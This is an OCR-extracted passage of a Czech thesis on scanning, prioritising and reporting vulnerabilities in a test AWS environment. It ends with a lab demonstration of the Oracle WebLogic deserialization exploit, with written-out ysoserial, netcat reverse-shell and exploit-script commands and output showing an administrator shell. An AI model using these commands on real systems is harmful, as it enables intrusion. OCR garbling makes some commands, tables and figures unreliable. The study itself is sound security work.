tenable 47 48 PYTHON_3_9 1

Obréazek 16 — Vysledky z AWS Inspector

Zdroj: Vlastni

5.5.3 Implementace skenovani bezpe¢né konfigurace

Pro skenovani bezpecné konfigurace cloudového prostiedi byl zvolen CIS AWS benchmark.
Center for Internet Security je globalné znama neziskova organizace, ktera poskytuje
doporuceni v oboru bezpecnosti dat a informaci véetné ,,best practises“ pro bezpe¢né nastaveni

uctu AWS.

Samotné ovéfeni konfigurace probihalo pomoci porovnani aktualniho stavu nastaveni sluzeb
konfigurace AWS s doporuc¢enym nastavenim CIS pomoci skeneru a AWS API. Nalezené
rozdily byly dale nahlaseny v podobé nalezu s odpovidajici zavaznosti. Tyto doporucené

Sablony je mozné dale modifikovat dle potieby.

Jako ptiklad jednoho z kontrolnich prvki je uveden obrazek ¢. 18, ktery se zaméfuje na
zabezpeceni uctu ,,root” (kofenového uzivatele) v AWS ldentity and Access Management
(IAM). Pii spusténi provadi kontrolu a zjistuje, zda existuje aktivni pfistupovy kli¢
s oznadenim ,,Access Key 1% pro kofenovy uéet. Uet ,.,root* je nejprivilegovandjsi uzivatel

v AWS uctu a jeho piistupové kli¢e poskytuji programovy piistup k AWS uctu.
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Tato kontrola je soucasti snahy 0 minimalizaci rizika uniku citlivych daji a zneuziti
kotenovych opravnéni uctu. Pokud kontrola zjisti, ze existuje aktivni ptistupovy kli¢ ,,Access
Key 1 pro kofenovy ucet, oznaci tuto situaci jako nebezpecnou. Doporucuje se, aby vSechny
pristupové klice spojené s kofenovym uctem byly odstranény, Toto zvySuje bezpecnost uctu
AWS. V CIS benchmarku je takovych kontrol v fadu nizsich stovek. Piiklad jedné z kontrol

konfigurace AWS je zobrazen na obrazku ¢. 17.

<custom_item>
type : IAM
description : "1.4 Ensure no 'root’ user account access key exists - 'Access Key 1'"
info : "The ‘root’ user account is the most privileged user in an AWS account.
reference : "868-171|3.1.1,806-171|3.1.4,800-171|3.1.5,800-171|3.1.6,808-171|3.8.1,94
see_also : "https://workbench.cisecurity.org/benchmarks/18593"
aws_action : "GetCredentialReport”
xsl stmt : "<xsl:template match=\"/\">

\"ffiam:Member[iam:user = '[root account]']\">

for-each select=\"//iam:Member[iam:user = '[root_account]"]\">

cs1:text>[root_account] : Access Key 1 Active
1:for-each>

1:when>»
se>
: [root_account] : Not Found<
ts1:otherwise>
sl:choose»
1:template>”
regex : "\[root_accountl] :“
expect : "\[root_accountl] : Access Key 1 Active = false"
</custom_item»

Obrazek 17 — Pitklad jedné ze kontrol konfigurace AWS

Zdroj: Vlastni
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6 VIZUALIZACE POMOCI INTEGRACE S MS POWERBI

V ramci vlastniho zpracovani byl vyuzit nastroj MS PowerBI k efektivni agregaci vysledku
z ruznych skener zranitelnosti v cloudu. Tento nastroj nim umoziuje sbirat a propojovat data
z téchto skeneri pomoci jejich unikatnich identifikatord. Timto zpiisobem bylo dosazeno

komplexniho pfehledu nad vS§emi nalezenymi zranitelnostmi vV cloudovém prosttedi.

Diky dostupnym funkcim pro manipulaci s daty v PowerBl Ize provadét detailni analyzu dat.
Muazeme tedy provadét riizné druhy analyz, véetné identifikace vzoru a trendd ve vyskytech
zranitelnosti, porovnavani stavii zabezpeCeni mezi riznymi Géty ¢i sluzbami a identifikaci

oblasti rizika.

Dulezitym vystupem této analyzy je schopnost definovat a kvantifikovat rizika spojena
s nalezenymi zranitelnostmi. Na zakladé této analyzy bylo mozné identifikovat, jaka rizika jsou
nejvice kritickd a vyzaduji okamzité feSeni, ptipadné ktera jsou méné prioritni.

Timto zptisobem lze efektivné alokovat zdroje a fesit nejnaléhavéjsi bezpecnostni problémy

v daném prostiedi. Propojeni zdroju potiebnych dat pomoci PowerBI je zachyceno na obrazku

¢. 18.

Open_Findings_Orga... & : AWS_PoIicy_Assignm... AN Lambda functions o

Inventory_Organizati.. & : Finding Type Used in the learning period
5 =5 Shalit
* s *
* )
* 4
3
* 4
* 4 |
* 4} v
* ES %
AWS_Access Keys Or... & @ assets_vulns_merged G Vulnerability all ol

Sbalit

Obréazek 18 — Agregace ziskanych data pomoci MS PowerBI

Zdroj: Vlastni
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6.1 Analyza vysledku a prioritizace konfigurac¢nich nalezu

V prib¢hu analyzy zranitelnosti v cloudu pomoci sluzby Tenable.io bylo identifikovano
nékolik dulezitych aspekti ohledné bezpecnosti prostfedi. Prvni ¢ast analyzy se zaméfila na
identifikaci konkrétnich zranitelnosti a rizikovych faktora v rdmci konfigurace jednotlivych
AWS uctd. Béhem analyzy zranitelnosti Vcloudu pomoci sluzby Tenable.io byly
identifikovany riizné oblasti zranitelnosti Vv jednotlivych AWS uctech. Nejvétsi diraz byl

kladen na kategorie ,,Compute, IAM a Secrets®.

V kategorii ,,Compute* byly zjistény celkem ¢tyti nalezené zranitelnosti, z nichz tii patfily do
uétu DP_DEV a jedna byla nalezena v u¢tu DP_sandbox viz obrazek ¢.19. Tyto vysledky

naznacuji, Ze existuji ur¢ité slabiny v konfiguraci vypocetnich prostiedku, které je nutno fesit.

V oblasti IAM (Identity and Access Management) bylo identifikovano vyrazné mnozstvi
zranitelnosti. Celkem sto sedmdeséat nalezi bylo zaznamenano V ramci v§ech tfi uctd. DP_ DEV
mél nejvétsi pocet se sto nalezy, nésledovany DP_sandbox se étyficeti Sesti nalezy
a DP_PROD1 sdvaceti ¢tyfmi nalezy. VSechna zjisténi tedy naznacuji, Ze sprava identit
a pristupovych prav vyzaduje zvySenou pozornost a fizeni, protoze se jedna o klicovou oblast

pro zabezpeceni cloudového prostiedi.

V oblasti ,,Secrets“ bylo zaznamenano pét nalezt v G¢tu DP_DEV. Tato zranitelnost miize
naznacovat nedostateCné zabezpeceni citlivych informaci vyzadujicich okamzité opatifeni

K zajisténi integrity dat.

Pfehled nalezenych zranitelnosti v konfiguraci cloudovych sluzeb AWS ZavaZnost nalezu
MNalez podle kategorie ® Compute ®Data ® |AM @ Logging ® Network ®Secrets ® Workload Protection [] Critical
171 E High
[ ] Low
150 ] Medium

Status nalezu

PoCet nalezU
o)
(=]

O Open
50 46
20 24 Nalez podle kategorie
9
> ] 9 5 3 O Compute
0 [ Data
DP_sandbox DP_DEV DP_PROD1 O
Jméno AWS Gétu 1AM
[ Logging
[ Network
Jméno AWS Gétu Compute Data 1AM Logging Network Secrets Workload Protection Celkem [ Secrets
DP_DEV 3 24 100 1 31 5 164 [] workload Protection
DP_PROD1 9 24 2 3 38
DP_sandbox 1 171 46 2 20 1 241
Celkem 4 204 170 5 54 5 1 443

Obréazek 19 — Prehled vsech nalezenych zranitelnosti v konfiguraci podle CIS

Zdroj: Vlastni
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e Piistupova prava IAM

Pomoci reportu byly identifikovany pfipady nadmérnych opravnéni a nepiiméfeného piistupu
k 1AM rolim a uzivatelskym uctim. V ptipadech, kde byla piidélena nadmérna opravnéni, bylo
zjisténo riziko zneuziti téchto Gétu K ziskani neopravnéného piistupu K citlivym datim
a sluzbam.

e Sprava pristupovych klicu
Z analyzy vyplyva, Ze neni fadn¢ spravovana rotace piistupovych klici IAM uzivateld. Tento
nedostatek muze vést K potencidlnimu riziku tUniku kli¢h aneopravnéného pfistupu
k prostiedkiim cloudu.

e Necinné identity a sluzby
Zaroven byly identifikované ne¢inné TAM role auzivatelské ucty, které predstavuji

bezpecnostni riziko. Tyto nevyuzivané identity by mély byt odstranény nebo piezkoumany, aby

se minimalizovala moZznost jejich zneuziti.
e Veiejné dostupné sluzby

Analyzované prostiedi obsahuje veiejné dostupné Lambda funkce a EC2 instance, coz muize
predstavovat bezpecnostni riziko v podobé mozného uniku citlivych dat nebo utokti ze strany

neopravnénych aktért.
e Dalsi zranitelnosti a slabiny

Kromé vyse uvedenych bodii byly identifikovany dalSi zranitelnosti, jako je nedostatecné

zabezpeceni sluzeb tietich stran a neaktualizovana verze ,,EC2 instance metadata service®.

Pro fizeni zranitelnosti je obecné dilezité vhodné prioritizovat identifikovana rizika. To Ize
provést na zaklad¢é zavaznosti nalezenych zranitelnosti. Zranitelnosti s oznacenim "Critical"
a "High" by mély byt povazovany za prioritni a mé€ly by byt okamzité feSeny. Zranitelnosti

S niz$i zavaznosti 1ze fesit postupné, S dlirazem na sniZeni celkového rizika v prostredi.

V analyze prioritizace zranitelnosti bylo identifikovano nékolik kritickych a vysokych rizik,
které vyzaduji okamzitou pozornost a feseni. Tyto zranitelnosti se tykaji hlavné oblasti Identity

and Access Management (IAM), a to zejména piistupovych prav a roli v cloudovém prostiedi.

Vysledky ukazuji, Ze nejvétsi mnozstvi nalezenych zranitelnosti s vysokym rizikem je

v kategorii 1AM viz obrazek ¢. 20. To naznacuje, Ze sprava identit a ptistupovych prav je
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kritickym bodem pro zlepSeni bezpe¢nosti v prostiedi DP. DEV, DP_PROD1 a DP_sandbox.

Konkrétné bylo nalezeno:

e v Kkategorii IAM v uétu DP_DEV celkem devatenact nalezenych zranitelnosti,
e v uctu DP_PROD bylo nalezeno pét zranitelnosti v kategorii IAM,

e v uctu DP sandbox bylo identifikovano sedm zranitelnosti v kategorii IAM.

Prehled nalezenych zranitelnosti v konfiguraci cloudovych sluzeb AWS ZavaZnost nalezu
Nalez podle kategorie ® Compute ® |AM ®Secrets M Critical
High
20 19 W Hig
[ Law
[ Medium

Status nalezu

Pocet nalezU
=]

7 M open
5

5 .
Nalez podle kategorie
[ | Compute

0 W am

DP_DEV DP_sandbox DP_PROD1 -
Jméno AWS Gctu Secrets

Jméno AWS G¢tu Compute 1AM Secrets Celkem

DP_DEV 319 1 23
DP_PROD1

DP_sandbox 7 7
Celkem 3 3 1 35

Obréazek 20 — Prehled prioritizovanych zranitelnosti v konfiguraci AWS podle CIS

Zdroj: Vlastni
V kategorii ,,Compute” byly nalezeny zranitelnosti pouze vuétu DP DEV, konkrétné
tfi zranitelnosti. To znamend, ze je dilezité vénovat pozornost konfiguraci vypocetnich

prostiedki v tomto prostiedi.

Zranitelnost v kategorii ,,Secrets” byla identifikovana pouze v u¢tu DP_DEV, pticemz byla
nalezena pouze jedna zranitelnost. Tuto zranitelnost je potieba dikladné prozkoumat a provést

odpovidajici opatieni k minimalizaci rizika.

Tyto vysledky se staly voditkem pro dalsi kroky Vv oblasti zabezpeceni cloudového prostiedi

a umoznily efektivné alokovat zdroje na feSeni nejnaléhavéjSich bezpecnostnich problémd.

6.2 Analyza vysledkua a prioritizace zranitelnosti
Po provedeni skenovani pomoci nastroju Tenable.io a AWS Inspector byla identifikovana fada

zranitelnosti v cloudovém prostiedi. V rdmci analyzy bylo zjisténo, Ze nejvice zranitelnosti se
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vyskytovalo v u¢tu DP_sandbox, kde bylo nalezeno celkem &tyfi tisice sto padesat zranitelnosti.
V uétu DP_DEYV bylo nalezeno devadesat devét zranitelnosti a v a¢tu DP_ PROD1 byly zjistény

dv¢ zranitelnosti. Grafické zobrazeni vysledkd nalezneme na niZe na obrazku ¢. 21.

Vysoky pocet zranitelnosti identifikovanych béhem této analyzy interniho cloudového prostredi
byl zpusoben implementaci ur¢itého virtualniho serveru. Je dileZité zduraznit, ze veSkeré
zranitelnosti byly identifikovany v ramci dedikované interni izolované sité, coz snizuje
bezprosttedni riziko Gtoku z internetu. Nicméné je zasadni, abychom se na tyto zranitelnosti
zam¢fili a provedli nezbytna opatteni K jejich odstranéni, nebot’ i v ramci interni sité¢ mohou

existovat potencialni hrozby.

SouCet nalezenych zranitelnosti Technicky risk
AWS sluzba ® Lambda function ®Virtual server [] Critical
[] High
[ Low
DP_sandbox . [ ] Medium
0
=]
0 0.1 tis
2 .
=z DP_DEV ,
o 0.0 tis. Ep detekce
E ] COMBINED
- [] Local
DP_PROD1 —
‘ 0.0 tis. L_| Remote
Exploit exist
0 tis. 1 tis. 2 tis. 3 tis. 4 tis. LI NO
PoCet nalezenych zranitelnosti [] YES
Jméno AWS G¢tu Lambda function Virtual server Celkem AWS sluzba
hd [] Lambda function
DP_sandbox 4150 4150 [] Virtual server
DP DEV 70 29 99
DP_PROD1 2 2
Celkem 70 4200 4270

Obrézek 21 — Prehled vsech nalezenych zranitelnosti v oblasti ,,compute“ (CVE)

Zdroj: Vlastni

Pokud jde o prioritizaci zranitelnosti, kde vychazime ze zavaznosti rizika, typu detekce
a moznosti existence exploitu, nejvyssi riziko predstavuji zranitelnosti oznacené jako "Critical"
a "High" jak zobrazeno na obrazku ¢. 22. Tyto zranitelnosti by mély byt okamzité adresovany
a opraveny. Napiiklad v actu DP_sandbox jsme identifikovali 2203 kritickych zranitelnosti
a 1593 vysokych zranitelnosti. V u¢tu DP_DEV jsme objevili 6 kritickych zranitelnosti a 54

vysokych zranitelnosti.
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Po detailni analyze kritickych nalezi s existenci exploitu a vzdalenym typu detekce byly
identifikovany nasledujici zranitelnosti, u kterych hrozi riziko neautentizovaného utoku

V ramci interni sité:

Soucet nalezenych zranitelnosti Technicky risk
AWS sluzba @ Virtual server W Critical

=

O

=3

n

= DP_sandbox 3

40 - Typ detekce ™
‘E [ Local

- B Remote

Exploit exist ™

0 1 p) 3 EVYES
PoCet nalezenych zranitelnosti
Jméno AWS G¢tu Virtual server Celkem AWS sluzba
hd B Virtual server
DP_sandbox 3
Celkem 3 3

Zdroj: Vlastni

Na obrazku ¢. 23 je dale zobrazen detail zranitelnosti popisujici parametry na zakladé detekce

na daném systému a databaze zranitelnosti skeneru.

AWS sluzba Technicky risk Typ detekce Zranitelnosti Detail zranitelnosti

Virtual server Critical Remote Apache Tomcat SEoL (6.0.x)
URL : http://172.16.0.176:8080/
Installed version : 6.0.1
Security End of Life : December 31, 2016
Time since Security End of Life (Est) : >= 7 years

Virtual server Critical Remote Oracle Weblogic Server Java
Object Deserialization RCE (July Nessus was able to exploit a Java deserialization
2016 CPU) vulnerability by

Virtual server Critical Remote Microsoft RDP RCE (CVE-2019-

0708) (BlueKeep)
(uncredentialed check)

Obrazek 23 — Detailni popis zranitelnosti (CVE) na virtualnim serveru pomoci PowerBI

Zdroj: Vlastni
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Apache Tomcat SEoL (6.0.x)

Podle verze je Apache Tomcat ve verzi 6.0.x, kterd jiz neni podporovana poskytovatelem.
Nedostatek podpory znamena, ze od poskytovatele nebudou vydany nové bezpecnostni zaplaty.

To muze vést K tomu, Ze aplikace obsahuje bezpecnostni chyby. Zaroven
Microsoft RDP RCE (CVE-2019-0708) (BlueKeep)

Vzdaleny hostitel je ovlivnén zranitelnosti vzdaleného provedeni kodu v protokolu Remote
Desktop Protocol (RDP). Neautentizovany, vzdaleny Gto¢nik miize vyuzit tuto zranitelnost

prostfednictvim specialné vytvotrenych pozadavku Kk provedeni libovolného kodu.
Oracle WebLogic Server Java Object Deserialization RCE (July 2016 CPU)

Vzdéleny Oracle WebLogic Server je ovlivnén zranitelnosti vzdaleného provedeni kodu
v komponent¢ WLS Core ve funkci readObject() kvuli nespravnému filtrovani vstupu od
uzivatele. Neautentizovany, vzdaleny Uto¢nik miiZze vyuzit tuto zranitelnost prostiednictvim
vytvoreného objektového nakladu k obejiti seznamu ClassFilter.class a provedeni libovolného

Java kddu v kontextu serveru WebLogic.

Tyto zranitelnosti jsou kritické a vyzaduji okamzité pozorné opatieni K jejich odstranéni, aby
byla minimalizovana pravdépodobnost uspé$ného utoku a ochranéna bezpecnost naseho

interniho cloudového prostiedi.

6.3 Reportovani a monitorovani
Pro efektivni Fizeni a monitorovani zranitelnosti v testovaném cloudovém prostiedi byl
vyuzivan nastroj MS PowerBI. Tento nastroj poskytl moznost vytvaiet komplexni vizualizace

a reporty, které pomohly 1épe porozumét stavu bezpecnosti a identifikovanym rizikim.

Hlavni dashboard na obrazku ¢. 24 vizualizuje pfehled vSech identifikovanych zranitelnosti
v naSem cloudovém prostiedi. Tento dashboard zobrazuje pocet zranitelnosti podle jejich

zavaznosti, typu a postizené AWS sluzby.

Reporting zranitelnosti vyzaduje rizné pfistupy v zavislosti na velikosti nastaveni AWS uctu
a vyuziti cloudovych sluzeb. V menSich organizacich je ¢asto mozZzné vytvofit jednoduchy
a prehledny report, ktery poskytuje zékladni informace o identifikovanych zranitelnostech
ajejich zavaznosti. Tyto reporty mohou byt Casto pfistupné a srozumitelné pro vSechny
zaméstnance zapojené do bezpecnostniho procesu. Na druhou stranu, ve vétsich organizacich,

je nutné pristupovat K reportovani zranitelnosti komplexngji. Je dilezité provadét segregaci dat
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a poskytovat pfistup K informacim pouze tém, ktefi maji pfisluSnou roli a opravnéni. To vSe
zahrnuje ruzné urovné reportl a pristupovych prav, ktera umoziiuji fizeni zranitelnosti na

urovni jednotlivych tymua nebo odd€leni.

Pro nastaveni AWS tuctu, ktery vyuziva cloudové sluzby, bylo dilezité zahrnout do reporti
zranitelnosti takeé informace o bezpe¢nosti téchto sluzeb. Jedna se 0 monitorovani zranitelnosti
cloudovych infrastruktur, aplikaci aintegraci téchto informaci do celkového reportovani
zranitelnosti. Pfi pravidelném provadéni skenti zranitelnosti je mozné sledovat dobu, po kterou
dand zranitelnost existuje v prostiedi. Tato informace poskytuje dulezity kontext pro

prioritizaci a fizeni zranitelnosti a umoznuje identifikovat nejnaléhavéjsi problémy K feseni.

Dalsi aspekty méteni rizika mohou zahrnovat dalezitost postizeného systému nebo sluzby, ktera
muze pomoci S prioritizaci zranitelnosti. Naptiklad zranitelnost postihujici kriticky systém nebo
dulezitou obchodni aplikaci muze byt povazovana za naléhavéjsi, nez zranitelnost v systému
S niz§i prioritou. Pro vétsi nastaveni AWS uctu je dulezité provadét segregaci dat v reportech
zranitelnosti. To v§e zahrnuje rozdéleni dat podle riiznych roli a vlastnictvi G¢tl, coz umoziuje
bezpetné fizeni pristupu K informacim a poskytuje relevantni data jednotlivym tymim nebo
oddé€lenim. Pomoci néstroje PowerBI 1ze implementovat tyto principy segregace dat a vytvaret
pfizptsobené reporty pro rizné urovné nastaveni AWS uétu. Timto je umoznéno efektivngjsi

fizeni zranitelnosti a poskytovani relevantnéjsich informaci pro spravné rozhodovani v oblasti

bezpecnosti. Ptiklad reportu je zobrazen viz obrazek €. 24.

Soucet nalezenych zranitelnosti Jméno AWS U¢tu Lambda function Virtual server Celkem
-

AWS sluzba ® Lambda function @Virtual server

DP_sandbox 4150 4150
DP_DEV 70 29 99
ﬁ Celkem 70 4200 4270
=
‘é br_DEv I Typ detekce Exploit exist Technicky risk
-G [[] COMBINED [ NO [ Critical
E. DP_PROD1 [ ] Local ] YES ] High
AWS sluzba [ Low
0 tis 1 tis. 2 tis. 3 tis. 4 tis [] Lambda function L Medium

PoCet nalezenych zranitelnosti

AWS sluzba Technicky risk Typ detekce Zranitelnosti

Virtual server

Detail zranitelnosti

Virtual server High Local Adobe Reader < 8.1.3 /9.0
Multiple Vulnerabilities The following vulnerable instance of Adobe Reader is installed on the
remote host :
- 7.0.5, under C\Program Files (x86)\Adobe\Acrobat 7.0\Reader
Virtual server High Local Adobe Reader < 8.1.3 /9.0
Multiple Vulnerabilities The following vulnerable instance of Adobe Reader is installed on the
remote host :
- 7.0.5, under C:\Program Files (x86)\Adobe\Acrobat 7.0\Reader
Virtual server High Local Adobe Reader < 8.1.3 /9.0

Multiple Vulnerabilities

Obrazek 24 — Piiklad reportu pro viastniky zranitelnosti

The following vulnerable instance of Adobe Reader is installed on the
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Specialni sekce reportu je vénovana detailni analyze kritickych a vysokych zranitelnosti, které
byly identifikovany jako nejnaléhavéjsi a nejrizikovéjsi. Tato ¢ast reportu poskytuje podrobné
informace 0 kazdé zranitelnosti, véetné popisu, CVE identifikatoru, postizené AWS sluzby,
typu detekce a zaroven umoziuje 1épe porozumét povaze a zavaznosti téchto rizik. Je velice

dulezité prijmout vhodna opatfeni K jejich feseni.

6.4 Oprava nalezii

V piedposledni fazi zivotniho cyklu nalezené zranitelnosti je jeji oprava. V ramci této prace byl
implementovan reportovaci mechanismus pomoci PowerBI, ktery slouzi k distribuci informaci
0 nalezenych zranitelnostech pfisluSnym vlastnikim cloudové infrastruktury. Tento
mechanismus neni pouze omezen na obecné sdéleni 0 existenci zranitelnosti, ale také zahrnuje
poskytnuti konkrétnich informaci, které jsou nezbytné k tomu, aby byla zranitelnost uspé$né

odstranéna.

Jakmile je zjisténa zranitelnost, reportovaci mechanismus poskytuje podrobné informace 0 tom,
kde se zranitelnost nachédzi v cloudovém prostiedi. Tato lokalizace je dulezita pro rychlé
a efektivni reakce na zjiSténé bezpe€nostni hrozby. Vlastnikiim cloudové infrastruktury jsou
tak pfedany specifické tidaje 0 konkrétnim umisténi zranitelnosti, coZ jim umoziuje okamzité

ptistoupit kK nezbytnym kroklim jejimu odstranéni.

Reportovaci mechanismus neposkytuje pouze informaci o existenci zranitelnosti, ale také
instrukce a pokyny k tomu, jak zranitelnost fesit. Tyto instrukce zahrnuji doporuéené postupy
a kroky, které je tfeba podniknout k tomu, aby byla zranitelnost Gspé$né¢ opravena. To vSe
zahrnuje naptiklad specifické kroky k aktualizaci softwaru, konfigurace sitovych pravidel nebo
implementaci bezpe¢nostnich zaplat. Oprava nalezenych zranitelnosti v této préci byla
vyfeSena terminaci vSech identifikovanych cloudovych sluZzeb, nebot se jednalo

0 infrastrukturu fiktivni, kterd byla vytvofena za ucelem této diplomové prace.

Celkové pristup, ktery reportovaci mechanismus nabizi, umoziuje vlastnikim cloudové
infrastruktury rychle reagovat na zjisténé zranitelnosti a minimalizovat tak riziko
bezpecnostnich incidentli. Tento mechanismus je nezbytnym prvkem pro zajiSténi bezpecnosti
Vv cloudovém prostiedi pravé diky poskytnuti konkrétnich informaci 0 umisténi a opravnych

opattenti.
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7 DEMONSTRACE ZAVAZNOSTI NALEZENYCH ZRANITELNOSTI

V této kapitole jsem se zaméfil na praktickou demonstraci zavaznosti jedné z nalezenych
zranitelnosti v ramci sandboxového uctu, ato pravé diky pfedchozi analyze a prioritizaci
v navrhnutém PowerBI reportu. Jakmile jsou zranitelnosti identifikovany azaznamenany
Vv predchozich fazich procesu spravy zranitelnosti, je dilezité¢ porozumét jejich potencialnimu
dopadu na systém a sit’. V této ¢asti diplomové prace byly pouzity dostupné techniky a nastroje,
jako je napiiklad Nmap, Python a dalsi nastroje k vyhodnoceni skute¢ného rizika, které tyto
zranitelnosti predstavuji. Tato demonstrace nejen ilustruje dilezitost spravy zranitelnosti, ale
také zdiraziuje nutnost adekvatni ochrany a prevence proti moznym utokim. Pouzitim
dostupnych exploiti a nastroji bylo mozné realisticky ukazat potencialni scénat utoku, které

by mohly byt provedeny vi¢i nasemu systému ¢i infrastruktufe.

Za hlavni prioritu lze povazovat minimalizaci rizik a zneuziti ze strany skute¢nych tto¢nikt
z internetu. Je velice dulezité zaméfit se na zneuziti zranitelnosti uvnitf interni sit¢ AWS uétu
DP_Sandbox. K demonstraci zavaznosti byla vybrana zranitelnost ,,Oracle WebLogic Server
Java Object Deserialization RCE“, kterd byla identifikovana jako jedna z kritickych
zranitelnosti v kapitole 6.2. Tato zranitelnost, znaima od ¢ervence 2016, umoznuje uto¢nikovi
provest vzdalené provedeni libovolného kodu pomoci manipulace s objekty v ,Java

Serialization ““.

Prvnim krokem bylo vyuZiti nastroje Nmap viz obrdzek ¢. 25, ktery poukazuje na prohledani

otevienych port ve virtualnim serveru EC2 na IP adrese 172.16.0.176.

[centos@ip—-172-16-0-79 ~]1$ nmap —-Pn 172.16.0.176

Starting Nmap 6.40 ( http://nmap.org ) at 2024-02-14 17:57 UIC
Nmap scan report for 172.16.0.176

Host is up (0.00068s latency) .

Not shown: 984 filterxred porxrts

PORT STATE SERVICE
21/tcp open ftp

135/ctcp open msSxrpc
139/ctcp open netbios—ssn
445/ccp open microsoft-ds

3389/ctcp open ms—wbt—serxrverx
S060/tcp open sSip
R — m
7001 /tcp open afs3-callback
TCPp o©Open ais3-prserxver
8009/tcp open ajpl3
8080/tcpo open http—-pDroxv

Obrézek 25 — Detekce otevienych portit pomoci Nmap

Zdroj: Vlastni
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Na zakladé¢ pruzkumu bylo identifikovano, Zze port 7001 je otevieny a nasloucha vuéi
potencialnimu uto¢nikovi na 172.16.0.79. Tato informace poskytla vstupni bod pro dalsi

zkoumani a potencialni zneuziti zranitelnosti aplikace, ktera zminény sitovy port vyuziva.

Po prizkumu volné dostupnych informacich na internetu ohledné vybrané zranitelnosti jsem
narazil na dostupnou techniku ke zneuziti této zranitelnost na webové strance
Hhttps://www.exploit—db.com/exploits/44553“ s podrobné popsanymi ukony k provedeni utoku

viz obrazek ¢&. 26.

L EXPLOIT ey
DATABASE e

Oracle Weblogic Server 10.3.6.0 / 12.1.3.0 / 12.2.1.2 / 12.2.1.3 - Deserialization Remote Command Execution

EDB-ID: CVE: Author: Type: Platform: Date:

EDB Verified: Exploit: & / {} Vulnerable App:

Obrazek 26 — Volné dostupnd technika k zneuziti zranitelnosti Oracle WebLogic
Zdroj: [23]
V dal§im kroku byla provedena sekvence piikazii ze zminéného zdroje, diky které byl

replikovan uto¢ny scénai podle uvedeného zdroje na obrézku ¢. 26.

Tento krok slouzil pro stazeni nastroje ysoserial, ktery umoziuje generovat serializované

objekty pro vyuziti v Java deserializacnich Gtocich.

1. wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-
beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

Tento piikaz spousti JRMPListener, ktery nasloucha na portu 1099 a ¢eké na ptipojeni klienta.
Zde se vyuziva technika CommonsCollections] z nastroje ysoserial, ktera slouzi k vytvoteni

serializovaného objektu obsahujiciho skodlivy kod.

2. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit. JRMPListener
1099 CommonsCollectionsl 'C:\nc.exe -nv 172.16.0.79 444 -e cmd.exe’
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Tento piikaz spousti Netcat vV rezimu naslouchani na daném portu. Netcat bude slouzit

K pfijimani pfipojeni a provadéni piikazi na cilovém systému na portu 444.
3. nc -nlvvp 444
Dalsi krok spociva v uloZeni exploitu z daného URL na lokalni systém do souboru exploit.py.
4. nano exploit.py “save exploit from https://www.exploit-db.com/exploits/44553 to
exploit.py ”

Piikazem €. 5 byl spustén samotny exploit, ktery vyuziva zranitelnost Oracle WebLogic
Server. Parametry urcuji adresu cilového systému, port, JAR soubor ysoserial, adresu
JRMPListeneru a typ JRMP klienta, ktery se pouzije k provadéni utoku. Tento krok je

zobrazen na obrazku ¢. 27.

5. python exploit.py 172.16.0.176 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
172.16.0.79 1099 JRMPClient

EP centos@ip-172-16-0-7%:~

[centos@ip—172-16—0-T7% ~]% nmano exploit.py
[centos@ip—172-16—0-79 ~]% python exploit.py 172.16.0.176 7001l ysoserial
JEMPClient>
—bash: syvntax error near unexpected token "newline'
[centos@ip—-172-16—-0-79% ~]% python exploit.py 172.16.0.176 TO001l ysoserial
JEMPClient
andshake successful
Eend regquest payload successful,recv length:1697

Obréazek 27 — Provedeni vzdaleného spusténi kodu

Zdroj: Vlastni
Po nésledovani sekvence predchozich krokd se Usp&$né podatfilo zneuzit identifikovanou
zranitelnost. Vysledkem této tspesné exploitace bylo ziskani piistupu k piikazovém tradku

cilového virtualniho serveru se systéemovymi pravy administratora na obrazku ¢. 28.

[root@ip-172-16-0-79 sbin]# nc -nlvvp 444
cat: Version 7.50 ( https://nmap.org/ncat )
cat: Listening on :::444
cat: Listening on 0.0.0.0:444
cat: Connection from 172.16.0.176.
cat: Connection from 172.16.0.176:54189.
crosoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

D:\oracle\user projects\domains\base domain>whoami
Wwhoami
Wwin-u9vnbpidikt\administrator

Obrézek 28 — Uspésné nabourdni cilového serveru

Zdroj: Vlastni
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https://www.exploit–db.com/exploits/44553%20to%20exploit.py
https://www.exploit–db.com/exploits/44553%20to%20exploit.py

Timto Gtokem bylo dokézano, zZe zranitelnost umoziuje uto¢nikovi provést vzdalené provedeni
libovolného kodu, coz v tomto konkrétnim piipadé vedlo K uspésnému pievzeti kontroly nad

cilovym systémem.
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8 ZHODNOCENI VYSLEDKU

Prakticka ¢ast zahrnovala nastaveni testovaci infrastruktury AWS cloudu, konfiguraci
skenovacich mechanismt, zhodnoceni identifikaci cloudovych sluzeb, identifikaci
zranitelnosti, analyzu dat a reporting. Zaroven také poskytuje cenny pohled na bezpe¢nostni
postaveni cloudove infrastruktury. Jednim z hlavnich a pozitivnich bodi bylo Gspésné vyuziti
,runtime* skenovani. Skenovani prob¢hlo pomoci nastroju Tenable.io a AWS Inspector. Tato
implementace zaroven umoznila identifikaci bezpe¢nostnich hrozeb v realném ¢ase. Diky tomu
bylo mozné ziskat uceleny pohled na existujici zranitelnosti v cloudové infrastruktuie a ziskat

informace K jejim opravam, coz vede k minimalizaci rizika jejich zneuziti.

Dalsim dulezitym aspektem byla efektivni analyza a reporting pomoci PowerBl. Integrace
s PowerBI umoznila vizualizaci a hloubkovou analyzu dat ziskanych ze skenii zranitelnosti.
Tento piehledny reporting poskytl spravé bezpec¢nosti dulezité¢ informace pro rozhodovani
aplanovani piipadnych bezpe¢nostnich opatfeni. Ziskané poznatky 0 existujicich
zranitelnostech byly také velmi cenné pro nésledujici kroky. Identifikace a kategorizace
zranitelnosti umoznila prioritizovat opravné opatfeni azaméfit se na nejzavaznéjsi

bezpecnostni hrozby.

Ptestoze proces identifikace a opravy zranitelnosti byl UspéSny, existuji moznosti zlepSeni.
Jednou z nich je zavedeni prevence zranitelnosti jiz pfi vyvoji softwaru. Rada z nalezenych
zranitelnosti byla zpisobena nedostate¢nou implementaci bezpecnostnich principt jiz v ranych
fazich vyvoje. Implementace konceptu agilniho vyvoje ,,.DevSecOps“ by mohla vyznamné
snizit pocet nalezenych zranitelnosti tim, ze by zabezpeceni bylo integrovano jiz od pocatku

vyvojoveho cyklu.

Optimalizace casového horizontu skenovédni areportingu miiZze rovnéz piinést vyhody.
Pravideln&jsi skenovani areporting by mohly snizit dobu, po kterou jsou zranitelnosti

